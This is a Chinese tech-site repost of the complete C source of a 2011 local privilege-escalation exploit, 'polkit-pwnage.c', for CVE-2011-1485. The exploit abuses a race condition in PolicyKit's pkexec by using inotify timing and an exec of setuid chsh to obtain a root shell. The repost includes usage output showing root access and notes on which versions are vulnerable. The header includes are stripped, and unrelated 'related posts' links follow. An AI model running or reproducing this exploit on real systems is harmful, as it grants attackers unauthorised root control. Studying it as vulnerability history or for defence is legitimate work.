linux polkitd 漏洞,CVE-2011-1485 Red Hat PolicyKit pkexec功能和polkitd守护进程竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE – 安全客…「建议收藏」

linux polkitd 漏洞,CVE-2011-1485 Red Hat PolicyKit pkexec功能和polkitd守护进程竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE – 安全客…「建议收藏」/*polkit-pwnage.c***==============================*=PolicyKitPwnage=*=byzx2c4=*=Sept2,2011=*==============================***Howdyfolks,**T…

大家好,又见面了,我是你们的朋友全栈君。

/* polkit-pwnage.c

*

*

* ==============================

* = PolicyKit Pwnage =

* = by zx2c4 =

* = Sept 2, 2011 =

* ==============================

*

*

* Howdy folks,

*

* This exploits CVE-2011-1485, a race condition in PolicyKit.

*

* davidz25 explains:

*

* –begin–

* Briefly, the problem is that the UID for the parent process of pkexec(1) is

* read from /proc by stat(2)’ing /proc/PID. The problem with this is that

* this returns the effective uid of the process which can easily be set to 0

* by invoking a setuid-root binary such as /usr/bin/chsh in the parent

* process of pkexec(1). Instead we are really interested in the real-user-id.

* While there’s a check in pkexec.c to avoid this problem (by comparing it to

* what we expect the uid to be – namely that of the pkexec.c process itself which

* is the uid of the parent process at pkexec-spawn-time), there is still a short

* window where an attacker can fool pkexec/polkitd into thinking that the parent

* process has uid 0 and is therefore authorized. It’s pretty hard to hit this

* window – I actually don’t know if it can be made to work in practice.

* –end–

*

* Well, here is, in fact, how it’s made to work in practice. There is as he said an

* attempted mitigation, and the way to trigger that mitigation path is something

* like this:

*

* $ sudo -u `whoami` pkexec sh

* User of caller (0) does not match our uid (1000)

*

* Not what we want. So the trick is to execl to a suid at just the precise moment

* /proc/PID is being stat(2)’d. We use inotify to learn exactly when it’s accessed,

* and execl to the suid binary as our very next instruction.

*

* ** Usage **

* $ pkexec –version

* pkexec version 0.101

* $ gcc polkit-pwnage.c -o pwnit

* $ ./pwnit

* [+] Configuring inotify for proper pid.

* [+] Launching pkexec.

* sh-4.2# whoami

* root

* sh-4.2# id

* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

* sh-4.2#

*

* ** Targets **

* This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which

* as of writing uses 0.101, has backported 0.102’s bug fix. A way to check

* this is by looking at the mtime of /usr/bin/pkexec — April 22, 2011 or

* later and you’re out of luck. It’s likely other distributions do the same.

* Fortunately, this exploit is clean enough that you can try it out without

* too much collateral.

*

*

* greets to djrbliss and davidz25.

*

* – zx2c4

* 2-sept-2011

*

*/

#include

#include

#include

#include

#include

#include

int main(int argc, char **argv)

{

printf(“=============================\n”);

printf(“= PolicyKit Pwnage =\n”);

printf(“= by zx2c4 =\n”);

printf(“= Sept 2, 2011 =\n”);

printf(“=============================\n\n”);

if (fork()) {

int fd;

char pid_path[1024];

sprintf(pid_path, “/proc/%i”, getpid());

printf(“[+] Configuring inotify for proper pid.\n”);

close(0); close(1); close(2);

fd = inotify_init();

if (fd < 0)

perror(“[-] inotify_init”);

inotify_add_watch(fd, pid_path, IN_ACCESS);

read(fd, NULL, 0);

execl(“/usr/bin/chsh”, “chsh”, NULL);

} else {

sleep(1);

printf(“[+] Launching pkexec.\n”);

execl(“/usr/bin/pkexec”, “pkexec”, “/bin/sh”, NULL);

}

return 0;

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/148178.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Kali Linux 2020.4 安装教程 超级详细 适合新手入门

    Kali Linux 2020.4 安装教程 超级详细 适合新手入门KaliLinux安装教程一、虚拟机配置二、KaliLinux配置三、更新软件包更新时间:2021年1月22日使用版本:5.9.0镜像官方下载地址:https://www.kali.org/downloads一、虚拟机配置使用虚拟机软件:VMwareWorkstationPro16首先点击创建新的虚拟机,先择典型(推荐)完成选择后点击下一步这里我们选择稍后安装操作系统完成选择后点击下一步此处客户机操作系统选择Linux,版本选择Debian10.x

    2022年5月22日
    78
  • 盈通rx580游戏高手 bios_警告!盈通RX580 2048SP疑似采用二手显存颗粒

    盈通rx580游戏高手 bios_警告!盈通RX580 2048SP疑似采用二手显存颗粒今天我刷新闻,正好看到了超能网的一篇关于盈通RX5802048SP游戏高手OC的评测,但是看到显存颗粒的时候顿时起了疑心:链接:https://www.expreview.com/68378.html显存颗粒高清图:第一行编号:6EA47,按照美光颗粒打标定义6E代表16年第10周(美光官方定义,中文来自谷歌翻译)首先RX5802048SP是在18年下半年才出…

    2022年6月22日
    27
  • Ubuntu18.04安装教程

    Ubuntu18.04安装教程Ubuntu18.04.1安装一、准备工作1.下载Ubuntu18.04.1LTS2.制作U盘启动盘3.准备Ubuntu18.04.1的硬盘空间二、安装Ubuntu18.04.1三、安装后的一些工作1.安装输入法2.更换软件源四、双系统如何卸载Ubuntu18.04.1新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列…

    2022年5月4日
    43
  • shell中的while循环实例[通俗易懂]

    shell中的while循环实例[通俗易懂]1.利用while循环计算1到100的和:示例代码1:#!/bin/bashi=1sum=0while[$i-le100]do letsum=sum+$i leti++doneecho$sum示例代码2:利用while循环计算1到100之间所有奇数之和#!/bin/bashi=1sum=0while[$i-le100]do letsum=sum+$i leti…

    2022年7月24日
    8
  • Python回顾与整理2:Python对象

    Python回顾与整理2:Python对象

    2021年9月13日
    51
  • Python 爬虫学习笔记(二)

    Python 爬虫学习笔记(二)分析网页我们平时使用浏览器来访问网页,实质上来看,就是通过一个客户端经过网络连接访问了服务器端,访问前,我们的页面没有任何内容,那么这些内容必然都是从服务器端传输过来的。爬虫的工作就是利用编程的方式自动化地从服务器端获取并分析数据,得到我们需要爬取的内容。因此想要利用爬虫获取内容,首先需要我们分析目标网站页面,了解其数据排列方式,知晓其数据传输过程,从而能够制订正确有效的爬取途径。以CSDN中我本人之前的一篇文章为例https://blog.csdn.net/qq_26292987/article/

    2022年4月19日
    36

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号